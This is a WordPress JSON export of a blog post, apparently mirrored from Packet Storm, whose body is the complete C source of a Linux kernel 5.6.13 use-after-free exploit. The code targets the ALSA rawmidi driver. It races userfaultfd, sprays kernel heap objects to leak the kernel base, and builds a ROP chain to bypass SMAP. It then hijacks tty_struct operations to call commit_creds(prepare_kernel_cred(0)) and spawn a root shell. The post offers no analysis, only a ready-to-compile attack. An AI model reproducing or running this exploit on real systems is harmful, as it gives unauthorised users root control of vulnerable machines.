{"id":59440,"date":"2024-09-04T19:39:51","date_gmt":"2024-09-04T16:39:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181335\/linux5613-uaf.c"},"modified":"2024-09-04T19:39:51","modified_gmt":"2024-09-04T16:39:51","slug":"linux-kernel-5-6-13-use-after-free","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/linux-kernel-5-6-13-use-after-free\/","title":{"rendered":"Linux Kernel 5.6.13 Use-After-Free"},"content":{"rendered":"<p>\/\/ gcc -o exploit exploit.c -masm=intel -static -s -lpthread<br \/>#define _GNU_SOURCE<br \/>#include &lt;stdio.h&gt;<br \/>#include &lt;stdlib.h&gt;<br \/>#include &lt;stdbool.h&gt;<br \/>#include &lt;sys\/types.h&gt;<br \/>#include &lt;sys\/stat.h&gt;<br \/>#include &lt;fcntl.h&gt;<br \/>#include &lt;sys\/ioctl.h&gt;<br \/>#include &lt;errno.h&gt;<br \/>#include &lt;string.h&gt;<br \/>#include &lt;unistd.h&gt;<br \/>#include &lt;stdint.h&gt;<br \/>#include &lt;sound\/asound.h&gt;<br \/>#include &lt;sys\/mman.h&gt;<br \/>#include &lt;sys\/syscall.h&gt;<br \/>#include &lt;linux\/userfaultfd.h&gt;<br \/>#include &lt;sys\/timerfd.h&gt;<br \/>#include &lt;sys\/ipc.h&gt;<br \/>#include &lt;sys\/msg.h&gt;<br \/>#include &lt;pthread.h&gt;<br \/>#include &lt;poll.h&gt;<\/p>\n<p>#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \\<br \/>} while (0)<\/p>\n<p>#define ADDRESS_PAGE_FAULT1 0x1337000<br \/>#define ADDRESS_PAGE_FAULT2 0x3331000<br \/>#define ADDRESS_PAGE_FAULT3 0x5551000<br \/>#define PAGE_SIZE 0x1000<br \/>#define DRIVER_RAWMIDI &#8220;\/dev\/snd\/midiC0D0&#8221;<\/p>\n<p>#define SNDRV_RAWMIDI_STREAM_OUTPUT 0<\/p>\n<p>uint32_t uffd;<br \/>uint32_t fd1, fd2, fd3;<br \/>uint64_t next;<br \/>uint64_t fake_table;<\/p>\n<p>pthread_t thread[6];<\/p>\n<p>bool release_page_fault = false;<\/p>\n<p>static void *page;<\/p>\n<p>unsigned long pivot;<br \/>unsigned long kernel_base;<br \/>unsigned long timerfd_tmrproc;<\/p>\n<p>unsigned long usr_cs, usr_ss, usr_rflags, usr_sp;<\/p>\n<p>struct args_trigger<br \/>{<br \/>char *addr;<br \/>int size;<br \/>uint32_t fd;<br \/>};<\/p>\n<p>void hexdump(uint64_t *buf, uint64_t size)<br \/>{<br \/>for (int i = 0; i &lt; size \/ 8; i += 2)<br \/>{<br \/>printf(&#8220;0x%x &#8220;, i * 8);<br \/>printf(&#8220;%016lx %016lx\\n&#8221;, buf[i], buf[i + 1]);<br \/>}<br \/>}<\/p>\n<p>static void save_state()<br \/>{<br \/>__asm__ __volatile__(<br \/>&#8220;movq %0, cs;&#8221;<br \/>&#8220;movq %1, ss;&#8221;<br \/>&#8220;pushfq;&#8221;<br \/>&#8220;popq %2;&#8221;<br \/>&#8220;movq %3, %%rsp\\n&#8221;<br \/>: &#8220;=r&#8221; (usr_cs), &#8220;=r&#8221; (usr_ss), &#8220;=r&#8221; (usr_rflags), &#8220;=r&#8221; (usr_sp) : : &#8220;memory&#8221; );<br \/>}<\/p>\n<p>static void getRootShell()<br \/>{<br \/>if(getuid())<br \/>{<br \/>printf(&#8220;[-] Failed to get a root&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>printf(&#8220;[+] uid : %d\\n&#8221;, getuid());<br \/>printf(&#8220;[+] Got root.\\n&#8221;);<\/p>\n<p>execl(&#8220;\/bin\/sh&#8221;, &#8220;sh&#8221;, NULL);<br \/>}<\/p>\n<p>void register_userfaultfd(uint64_t *range)<br \/>{<br \/>struct uffdio_api uffdio_api;<br \/>struct uffdio_register uffdio_register;<\/p>\n<p>uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);<\/p>\n<p>if (uffd == -1)<br \/>{<br \/>perror(&#8220;[-] userfaultfd&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>uffdio_api.api = UFFD_API;<br \/>uffdio_api.features = 0;<\/p>\n<p>if (ioctl(uffd, UFFDIO_API, &amp;uffdio_api) == -1)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>printf(&#8220;[*] Start monitoring range: %p &#8211; %p\\n&#8221;, page, page + PAGE_SIZE);<\/p>\n<p>uffdio_register.range.start = (uint64_t) range;<br \/>uffdio_register.range.len = PAGE_SIZE;<br \/>uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;<\/p>\n<p>if (ioctl(uffd, UFFDIO_REGISTER, &amp;uffdio_register) == -1)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Userfaultfd registered&#8221;);<br \/>}<\/p>\n<p>void *handler_userfaultfd(void *args)<br \/>{<br \/>uint64_t uffd = *(uint64_t *)args;<\/p>\n<p>struct uffd_msg msg;<br \/>struct uffdio_copy uffdio_copy;<br \/>uint64_t nread;<br \/>void *page2 = NULL;<\/p>\n<p>if ((page2 = mmap((void *)0xdead000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br \/>{<br \/>perror(&#8220;[-] mmap()&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>uint64_t m_ts = 0x000000000000ffff;<br \/>memcpy(page2, (char *) &amp;m_ts, 8);<\/p>\n<p>while (true)<br \/>{<br \/>struct pollfd pollfd;<br \/>int nready;<\/p>\n<p>pollfd.fd = uffd;<br \/>pollfd.events = POLLIN;<\/p>\n<p>nready = poll(&amp;pollfd, 1, -1);<\/p>\n<p>if (nready == -1)<br \/>{<br \/>perror(&#8220;[-] poll&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>nread = read(uffd, &amp;msg, sizeof(msg));<\/p>\n<p>if (nread == 0)<br \/>{<br \/>perror(&#8220;[-] EOF on userfaultfd!\\n&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>if (nread == -1)<br \/>{<br \/>perror(&#8220;[-] read&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>char *page_fault_location = (char *)msg.arg.pagefault.address;<\/p>\n<p>if (msg.event != UFFD_EVENT_PAGEFAULT)<br \/>{<br \/>perror(&#8220;[-] Unexpected event on userfaultfd&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>if (msg.arg.pagefault.address == (void *)0x1337000 || msg.arg.pagefault.address == (void *)0x3331000 || msg.arg.pagefault.address == (void *)0x5551000)<br \/>{<br \/>printf(&#8220;[+] Page Fault triggered on address 0x%llx\\n&#8221;, msg.arg.pagefault.address);<\/p>\n<p>if(msg.arg.pagefault.address == (void *)0x5551000)<br \/>{<br \/>memcpy(page2, (char *) &amp;fake_table, 8);<br \/>}<\/p>\n<p>while (release_page_fault == false);<\/p>\n<p>uffdio_copy.src = (uint64_t) page2;<br \/>uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &amp;~(PAGE_SIZE &#8211; 1);<br \/>uffdio_copy.len = PAGE_SIZE;<br \/>uffdio_copy.mode = 0;<br \/>uffdio_copy.copy = 0;<\/p>\n<p>if (ioctl(uffd, UFFDIO_COPY, &amp;uffdio_copy) == -1)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>release_page_fault = false;<br \/>}<br \/>}<\/p>\n<p>close(uffd);<br \/>puts(&#8220;[+] Page fault thread finished&#8221;);<br \/>}<\/p>\n<p>void *trigger_userfaultfd(struct args_trigger *args)<br \/>{<br \/>char *addr = (char *) args-&gt;addr;<br \/>int size = args-&gt;size;<br \/>uint32_t fd = (uint64_t) args-&gt;fd;<\/p>\n<p>write(fd, addr, size);<br \/>}<\/p>\n<p>void send_msg(int qid, const void *msg_buf, size_t size, long mtype)<br \/>{<br \/>struct msgbuf<br \/>{<br \/>long mtype;<br \/>char mtext[size &#8211; 0x30];<br \/>} msg;<\/p>\n<p>msg.mtype = mtype;<br \/>memcpy(msg.mtext, msg_buf, sizeof(msg.mtext));<\/p>\n<p>if (msgsnd(qid, &amp;msg, sizeof(msg.mtext), 0) == -1)<br \/>{<br \/>perror(&#8220;msgsnd&#8221;);<br \/>exit(1);<br \/>}<br \/>}<\/p>\n<p>void *recv_msg(int qid, size_t size)<br \/>{<br \/>void *memdump = malloc(size);<\/p>\n<p>if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_NOERROR) == -1)<br \/>{<br \/>perror(&#8220;msgrcv&#8221;);<br \/>return NULL;<br \/>}<\/p>\n<p>return memdump;<br \/>}<\/p>\n<p>void build_rop(char *buf)<br \/>{<br \/>uint64_t *rop = (uint64_t *)&amp;buf[0x0];<br \/>int k = 0;<\/p>\n<p>\/* commit_creds(prepare_kernel_cred(0)) *\/<br \/>rop[k++] = kernel_base + 0x15e8; \/\/ pop rdi ; ret<br \/>rop[k++] = 0x0;<br \/>rop[k++] = kernel_base + 0x8a800; \/\/ prepare_kernel_cred<br \/>rop[k++] = kernel_base + 0x49fb8; \/\/ pop rdx ; ret<br \/>rop[k++] = 0x8;<br \/>rop[k++] = kernel_base + 0xa6b081; \/\/ cmp rdx, 8 ; jne 0xffffffff81a6b05e ; ret<br \/>rop[k++] = kernel_base + 0x3dfdb4; \/\/ mov rdi, rax ; jne 0xffffffff813dfda1 ; xor eax, eax ; ret<br \/>rop[k++] = kernel_base + 0x8a3c0; \/\/ commit_creds<\/p>\n<p>\/* kpti trampoline *\/<br \/>rop[k++] = kernel_base + 0xc00a45; \/\/ swapgs_restore_regs_and_return_to_usermode + 22<br \/>rop[k++] = 0x0; \/\/ rax<br \/>rop[k++] = 0x0; \/\/ rdi<\/p>\n<p>rop[k++] = (unsigned long)&amp;getRootShell;<br \/>rop[k++] = (unsigned long)usr_cs;<br \/>rop[k++] = (unsigned long)usr_rflags;<br \/>rop[k++] = (unsigned long)usr_sp;<br \/>rop[k++] = (unsigned long)usr_ss;<\/p>\n<p>uint64_t *func_table = (uint64_t *)&amp;buf[0x100];<br \/>for (size_t i = 0; i &lt; 12; i++)<br \/>{<br \/>if (i == 4)<br \/>{<br \/>*func_table++ = kernel_base + 0x1e; \/\/ ret;<br \/>continue;<br \/>}<\/p>\n<p>if (i == 5)<br \/>{<br \/>*func_table++ = kernel_base + 0x1e; \/\/ ret<br \/>continue;<br \/>}<\/p>\n<p>if (i == 6)<br \/>{<br \/>*func_table++ = kernel_base + 0x1e; \/\/ ret<br \/>continue;<br \/>}<\/p>\n<p>*func_table++ = 0xdeadbeefdeadbe00 + i;<br \/>}<\/p>\n<p>*func_table = pivot;<br \/>}<\/p>\n<p>void pin_cpu(long cpu_id)<br \/>{<br \/>cpu_set_t mask;<\/p>\n<p>CPU_ZERO(&amp;mask);<br \/>CPU_SET(cpu_id, &amp;mask);<\/p>\n<p>if (sched_setaffinity(0, sizeof(mask), &amp;mask) == -1)<br \/>{<br \/>err(&#8220;`sched_setaffinity()` failed: %s&#8221;, strerror(errno));<br \/>}<\/p>\n<p>return;<br \/>}<\/p>\n<p>void main(void)<br \/>{<br \/>pin_cpu(0);<\/p>\n<p>struct snd_rawmidi_params srp;<\/p>\n<p>save_state();<\/p>\n<p>\/* ===================== [ SETP 1 &#8211; KASLR Leak ] ===================== *\/<\/p>\n<p>puts(&#8220;[+] STEP 1 : KASLR leak&#8221;);<br \/>fd1 = open(DRIVER_RAWMIDI, O_RDWR);<\/p>\n<p>if (fd1 &lt; 0)<br \/>{<br \/>perror(&#8220;[-] open&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Opening rawmidi&#8221;);<\/p>\n<p>int qid[2];<br \/>if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)<br \/>{<br \/>perror(&#8220;msgget&#8221;);<br \/>exit(1);<br \/>}<\/p>\n<p>struct itimerspec its;<\/p>\n<p>its.it_interval.tv_sec = 0;<br \/>its.it_interval.tv_nsec = 0;<br \/>its.it_value.tv_sec = 9999;<br \/>its.it_value.tv_nsec = 0;<\/p>\n<p>int tfd[256];<\/p>\n<p>for(int i = 0; i &lt; 256 \/ 2; i++)<br \/>{<br \/>tfd[i] = timerfd_create(CLOCK_REALTIME, 0);<br \/>timerfd_settime(tfd[i], 0, &amp;its, 0);<br \/>}<\/p>\n<p>if ((page = mmap((void *)0x1336000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br \/>{<br \/>perror(&#8220;[-] mmap()&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Mapping two pages&#8221;);<\/p>\n<p>char *addr = page;<br \/>memset(addr, &#8216;A&#8217;, PAGE_SIZE);<\/p>\n<p>puts(&#8220;[+] Registering one page userfaultfd&#8221;); <\/p>\n<p>\/* Registering mapped area *\/<br \/>register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT1);<\/p>\n<p>puts(&#8220;[+] Raising up the handler for userfaultfd&#8221;);<\/p>\n<p>\/* Handler for userfault *\/<br \/>pthread_create(&amp;thread[0], NULL, handler_userfaultfd, (void *) &amp;uffd);<\/p>\n<p>\/* Create one object by size 256 *\/<br \/>srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br \/>srp.buffer_size = 240;<br \/>srp.avail_min = 1;<br \/>uint64_t err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Created one object by size 256&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<\/p>\n<p>struct args_trigger args;<br \/>args.addr = addr + PAGE_SIZE &#8211; 0x18;<br \/>args.size = 0x18 + 0x8;<br \/>args.fd= fd1;<\/p>\n<p>\/* Blocking before object created by size 256 in userfault *\/<br \/>pthread_create(&amp;thread[1], NULL, (void *) trigger_userfaultfd, &amp;args);<br \/>puts(&#8220;[+] Triggering userfaultfd&#8221;);<\/p>\n<p>\/* Deleting before object created by size 256 generating an UAF *\/<br \/>srp.buffer_size = 250;<br \/>err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Deleting before object created by size 256 generating UAF&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<\/p>\n<p>\/* send_msg &#8216;A&#8217; *\/<br \/>char buf[0xf8 &#8211; 0x30];<br \/>memset(buf, 0x41, sizeof(buf));<br \/>send_msg(qid[0], buf, 0xf8, 1);<\/p>\n<p>puts(&#8220;[+] Allocate msg_msg in kmalloc-256&#8221;);<\/p>\n<p>printf(&#8220;[*] Waiting for userfaultd to finish ..\\n&#8221;);<br \/>release_page_fault = true;<\/p>\n<p>\/* spray timerfd_ctx in kmalloc-256 *\/<br \/>for(int i = 256 \/ 2; i &lt; 256; i++)<br \/>{<br \/>tfd[i] = timerfd_create(CLOCK_REALTIME, 0);<br \/>timerfd_settime(tfd[i], 0, &amp;its, 0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Allocate timerfd_ctx in kmalloc-256&#8221;);<\/p>\n<p>while(release_page_fault == true);<br \/>printf(&#8220;[+] Page fault lock released\\n&#8221;);<\/p>\n<p>uint64_t *leak = recv_msg(qid[0], 0x2000);<\/p>\n<p>\/\/ hexdump(leak, 0x2000);<\/p>\n<p>timerfd_tmrproc = *(leak + (0x200 \/ sizeof(uint64_t)));<br \/>kernel_base = timerfd_tmrproc &#8211; 0x2201f0;<br \/>pivot = kernel_base + 0x8fc625; \/\/ push r8 ; add byte ptr [rbp + 0x41], bl ; pop rsp ; pop r13 ; ret<\/p>\n<p>printf(&#8220;[+] timerfd_tmrproc addr : 0x%lx\\n&#8221;, timerfd_tmrproc);<br \/>printf(&#8220;[+] kernel_base addr : 0x%lx\\n&#8221;, kernel_base);<br \/>printf(&#8220;[+] pivot addr : 0x%lx\\n&#8221;, pivot);<\/p>\n<p>for(int i = 0; i &lt; 256; i++)<br \/>{<br \/>close(tfd[i]);<br \/>}<\/p>\n<p>close(fd1);<br \/>puts(&#8220;[+] Close rawmidi&#8221;);<\/p>\n<p>\/* ===================== [ SETP 2 &#8211; SMAP Bypass ] ===================== *\/<\/p>\n<p>puts(&#8220;\\n[+] STEP 2 : SMAP bypass&#8221;);<\/p>\n<p>release_page_fault = false;<\/p>\n<p>fd2 = open(DRIVER_RAWMIDI, O_RDWR);<\/p>\n<p>if (fd2 &lt; 0)<br \/>{<br \/>perror(&#8220;[-] open&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Opening rawmidi&#8221;);<\/p>\n<p>if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)<br \/>{<br \/>perror(&#8220;msgget&#8221;);<br \/>exit(1);<br \/>}<\/p>\n<p>if ((page = mmap((void *)0x3330000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br \/>{<br \/>perror(&#8220;[-] mmap()&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Mapping two pages&#8221;);<\/p>\n<p>addr = page;<br \/>memset(addr, &#8216;B&#8217;, PAGE_SIZE);<\/p>\n<p>puts(&#8220;[+] Registering one page userfaultfd&#8221;); <\/p>\n<p>\/* Registering mapped area *\/<br \/>register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT2);<\/p>\n<p>puts(&#8220;[+] Raising up the handler for userfaultfd&#8221;);<\/p>\n<p>\/* Handler for userfault *\/<br \/>pthread_create(&amp;thread[2], NULL, handler_userfaultfd, (void *) &amp;uffd);<\/p>\n<p>\/* Create one object by size 512 *\/<br \/>srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br \/>srp.buffer_size = 500;<br \/>srp.avail_min = 1;<br \/>err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Created one object by size 512&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<br \/>args.addr = addr + PAGE_SIZE &#8211; 0x18;<br \/>args.size = 0x18 + 0x8;<br \/>args.fd= fd2;<\/p>\n<p>\/* Blocking before object created by size 512 in userfault *\/<br \/>pthread_create(&amp;thread[3], NULL, (void *) trigger_userfaultfd, &amp;args);<br \/>puts(&#8220;[+] Triggering userfaultfd&#8221;);<\/p>\n<p>\/* Deleting before object created by size 512 generating an UAF *\/<br \/>srp.buffer_size = 90;<br \/>err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Deleting before object created by size 512 generating UAF&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<\/p>\n<p>\/* rop spray in kmalloc-512 *\/<br \/>char secondary_buf[0x1ea &#8211; 0x30];<br \/>memset(secondary_buf, 0, sizeof(secondary_buf));<br \/>build_rop(secondary_buf);<\/p>\n<p>printf(&#8220;[*] Waiting for userfaultd to finish ..\\n&#8221;);<br \/>release_page_fault = true;<\/p>\n<p>for(int i = 0; i &lt; 0x20; i++)<br \/>{<br \/>send_msg(qid[1], secondary_buf, 0x1ea, 0x1337);<br \/>}<\/p>\n<p>puts(&#8220;[+] Spray ROP Chain in kmalloc-512&#8221;);<\/p>\n<p>while(release_page_fault == true);<br \/>printf(&#8220;[+] Page fault lock released\\n&#8221;);<\/p>\n<p>uint64_t *leak2 = recv_msg(qid[1], 0x2000);<br \/>next = *(leak2 + (0x1d8 \/ sizeof(uint64_t))) + 0x30;<br \/>fake_table = next + 0x100;<\/p>\n<p>printf(&#8220;[+] msg_msg-&gt;m_list.next leak : 0x%lx\\n&#8221;, next &#8211; 0x30);<br \/>printf(&#8220;[+] Fake tty_struct-&gt;ops function table: 0x%lx\\n&#8221;, fake_table);<\/p>\n<p>\/\/ hexdump(leak2, 0x2000);<\/p>\n<p>close(fd2);<br \/>puts(&#8220;[+] Close rawmidi&#8221;);<\/p>\n<p>\/* ===================== [ SETP 3 &#8211; tty_struct-&gt;ops overwrite ] ===================== *\/<\/p>\n<p>puts(&#8220;\\n[+] STEP 3 : Fake tty_struct-&gt;ops overwrite&#8221;);<\/p>\n<p>release_page_fault = false;<\/p>\n<p>fd3 = open(DRIVER_RAWMIDI, O_RDWR);<\/p>\n<p>if (fd3 &lt; 0)<br \/>{<br \/>perror(&#8220;[-] open&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Re-opening rawmidi&#8221;);<\/p>\n<p>if ((page = mmap((void *)0x5550000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)<br \/>{<br \/>perror(&#8220;[-] mmap()&#8221;);<br \/>exit(0);<br \/>}<\/p>\n<p>puts(&#8220;[+] Mapping two pages&#8221;);<\/p>\n<p>addr = page;<br \/>memset(addr, &#8216;C&#8217;, PAGE_SIZE);<\/p>\n<p>puts(&#8220;[+] Registering one page userfaultfd&#8221;); <\/p>\n<p>\/* Registering mapped area *\/<br \/>register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT3);<\/p>\n<p>puts(&#8220;[+] Raising up the handler for userfaultfd&#8221;);<\/p>\n<p>\/* Handler for userfault *\/<br \/>pthread_create(&amp;thread[4], NULL, handler_userfaultfd, (void *) &amp;uffd);<\/p>\n<p>\/* Create one object by size 800 *\/<br \/>srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;<br \/>srp.buffer_size = 800;<br \/>srp.avail_min = 1;<br \/>err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Created one object by kmalloc-1024&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<\/p>\n<p>args.addr = addr + PAGE_SIZE &#8211; 0x18;<br \/>args.size = 0x18 + 0x8;<br \/>args.fd= fd3;<\/p>\n<p>\/* Blocking before object created by size 1024 in userfault *\/<br \/>pthread_create(&amp;thread[5], NULL, (void *) trigger_userfaultfd, &amp;args);<br \/>puts(&#8220;[+] Triggering userfaultfd&#8221;);<\/p>\n<p>\/* Deleting before object created by size 1024 generating an UAF *\/<br \/>srp.buffer_size = 90;<br \/>err = ioctl(fd3, SNDRV_RAWMIDI_IOCTL_PARAMS, &amp;srp);<\/p>\n<p>puts(&#8220;[+] Deleting before object created by size 1024 generating UAF&#8221;);<\/p>\n<p>if (err &lt; 0)<br \/>{<br \/>perror(&#8220;[-] ioctl&#8221;);<br \/>exit(0); <br \/>}<\/p>\n<p>int spray[256];<\/p>\n<p>\/* tty_struct spray *\/<br \/>for(int i = 0; i &lt; 256; i++)<br \/>{<br \/>spray[i] = open(&#8220;\/dev\/ptmx&#8221;, O_RDONLY | O_NOCTTY);<\/p>\n<p>if(spray[i] &lt; 0)<br \/>{<br \/>printf(&#8220;[-] Failed open \/dev\/ptmx\\n&#8221;);<br \/>}<br \/>}<\/p>\n<p>puts(&#8220;[+] Allocate tty_struct in kmalloc-1024&#8221;);<\/p>\n<p>release_page_fault = true;<\/p>\n<p>while(release_page_fault == true);<br \/>puts(&#8220;[+] Page fault lock released&#8221;);<\/p>\n<p>for(int i = 0; i &lt; 256; i++)<br \/>{<br \/>ioctl(spray[i], 0, next &#8211; 8);<br \/>}<br \/>}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\/\/ gcc -o exploit exploit.c -masm=intel -static -s -lpthread#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;stdbool.h&gt;#include &lt;sys\/types.h&gt;#include &lt;sys\/stat.h&gt;#include &lt;fcntl.h&gt;#include &lt;sys\/ioctl.h&gt;#include &lt;errno.h&gt;#include &lt;string.h&gt;#include &lt;unistd.h&gt;#include &lt;stdint.h&gt;#include &lt;sound\/asound.h&gt;#include &lt;sys\/mman.h&gt;#include &lt;sys\/syscall.h&gt;#include &lt;linux\/userfaultfd.h&gt;#include &lt;sys\/timerfd.h&gt;#include &lt;sys\/ipc.h&gt;#include &lt;sys\/msg.h&gt;#include &lt;pthread.h&gt;#include &lt;poll.h&gt; #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \\} while (0) #define ADDRESS_PAGE_FAULT1 0x1337000#define ADDRESS_PAGE_FAULT2 0x3331000#define ADDRESS_PAGE_FAULT3 0x5551000#define PAGE_SIZE 0x1000#define DRIVER_RAWMIDI &#8220;\/dev\/snd\/midiC0D0&#8221; #define SNDRV_RAWMIDI_STREAM_OUTPUT 0 uint32_t uffd;uint32_t &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59440","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59440","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59440"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59440\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}